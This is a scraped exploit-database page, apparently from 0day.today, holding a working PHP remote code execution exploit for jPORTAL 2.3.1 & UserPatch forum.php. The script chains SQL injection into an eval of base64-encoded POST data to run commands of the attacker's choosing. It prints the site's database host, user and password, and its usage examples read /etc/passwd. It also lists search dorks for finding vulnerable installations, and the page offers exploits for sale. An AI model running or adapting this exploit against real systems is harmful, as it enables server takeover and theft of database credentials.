0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit
=================================================================== jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit =================================================================== ?<?php # # jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit # # # dorks: "powered by jPORTAL 2 & UserPatch" # "powered by jPORTAL 2" # # greetz: wacky, polish under :* #---------------------------------------------------------------------> $host = $argv[1]; $path = $argv[2]; $phpcode = $argv[3]; $info = "\n#\n". "# jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit\n". "#\n". "# author: irk4z[at]yahoo.pl\n". "# http://irk4z.wordpress.com\n". "#\n". "#\n". "# greetz: str0ke, wacky, polish under :*\n". "#--------------------------------------------------------------------->\n"; echo $info; if($argc<4){ echo "# Obsluga: \n". "# php host path phpcode \n". "# php localhost /~jportal/ phpinfo(); \n". "# php localhost /~jportal/ \"system('uname -a');\" \n". "# php localhost /~jportal/ \"system('cat /etc/passwd');\"\n". "#\n". "# exploit c0ded by irk4z :D"; die; } $data="do=".base64_encode(base64_decode('Z2xvYmFsICRkYl9ob3N0LCAkZGJfdXNlciwgJGRiX3Bhc3MsICRkYl9uYW1lLCAkcHJlZml4OyANCmVjaG8gIlwkZGJfaG9zdCA9ICckZGJfaG9zdCc7XG4iLg0KIlwkZGJfdXNlciA9ICckZGJfdXNlcic7XG4iLg0KIlwkZGJfcGFzcyA9ICckZGJfcGFzcyc7XG4iLg0KIlwkZGJfbmFtZSA9ICckZGJfbmFtZSc7XG4iLg0KIlwkcHJlZml4ID0gJyRwcmVmaXgnO1xuXG5QSFAgQ09ERSBFWEVDVVRJT04gUkVTVUxUOlxuIjs').$phpcode); $packet = "POST {$path}forum.php?cmd=as_readed&category=18000/**/U%6EION/**/S%65LECT/**/1,2,0x223B6576616C286261736536345F6465636F646528245F504F53545B27646F275D29293B6469653B24746D703D22/* HTTP/1.0\r\n". "Host: {$host}\r\n". "Content-type: application/x-www-form-urlencoded\r\n". "Content-length: ".strlen($data)."\r\n\r\n".$data; $wynik = send($host, 80, $packet); $tmp = strpos($wynik, '$db_host'); if (empty($tmp)){echo "\nWystapil blad :( Sprawdz poprawnosc danych wejsciowych..\n\n# exploit c0ded by irk4z :D"; }else{ echo "\n"; echo "KONFIGURACJA BAZY DANYCH:\n"; echo substr($wynik, $tmp, strlen($wynik)-$tmp); echo "\n\n# exploit c0ded by irk4z :D"; } function send($host, $port, $packet) { $s = @fsockopen($host, $port); if (empty($s)) return; fputs($s, $packet); $retu =''; while(!feof($s)){$retu.=fgets($s);} fclose($s); return $retu; } ?> # 0day.today [2024-11-15] #